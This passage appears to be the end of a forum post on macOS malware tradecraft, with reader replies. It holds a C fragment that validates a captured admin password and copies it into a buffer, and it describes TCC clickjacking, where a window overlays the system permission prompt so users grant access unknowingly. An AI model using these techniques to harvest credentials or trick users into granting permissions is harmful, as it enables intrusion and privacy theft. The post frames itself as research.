        if (auth(admin_username, password)) {
            strncpy(s, password, P - 1);
            s[P - 1] = '\0';
            free(password);
            break;
        }
        free(password);
    }
}

Now this is very simple which remainder me of a trick I used before, (Transparency, Consent, and Control)

is a security protocol that manages app permissions. Its main goal is to protect sensitive features like location, contacts, photos, microphone, camera, and full disk access. It enhances privacy by requiring users to give explicit consent before any app can touch these features, putting more control in users’ hands.

However, there’s something called TCC ClickJacking, which, as the name suggests, is a trick that makes you think you’re clicking “OK” on one thing, but you’re actually clicking on something else. Here’s a great PoC of this by Breakpoint, The core idea is to design a window that sits directly over the system’s permission prompt.

I don’t think it will work on newer systems now, but it won’t hurt to try it. I remember using it on Monterey, This is just my thought process, so I hope you don’t get lost. I’m sticking with the first implementation, which I feel covers our needs best.

Source:

----[Y O U ’ R E - P W N E D]

What’s next ? … We’ll discuss and revisit how to implement elements I haven’t shown yet. We’ll also clarify some concepts you may have noticed in the incomplete design and you might even spot a flaw in the design itself. Trust me, it’s there for a reason.

I had to trim certain parts because this post is already lengthy, and we can’t cover everything in one go. There are still many moving parts we haven’t explored. The reason this works on my machine is that I’ve set it up and know how to navigate around it that might not be the case on other systems. This is simply a piece of research to showcase some basic techniques. as always, see you next time!

                       **  **
                      *  *   
                          *  
                       *     
                          *  
                        *    
                      *      
                             
                         *   
                           **
4 Likes

Dude, so much awesome content. Trade craft, OPSEC, good code. Thank you!

1 Like

Thanks for including all the source material references for further reading. I’ll need to go dig out a OSX system.

1 Like

Appreciate it. Thanks for reading.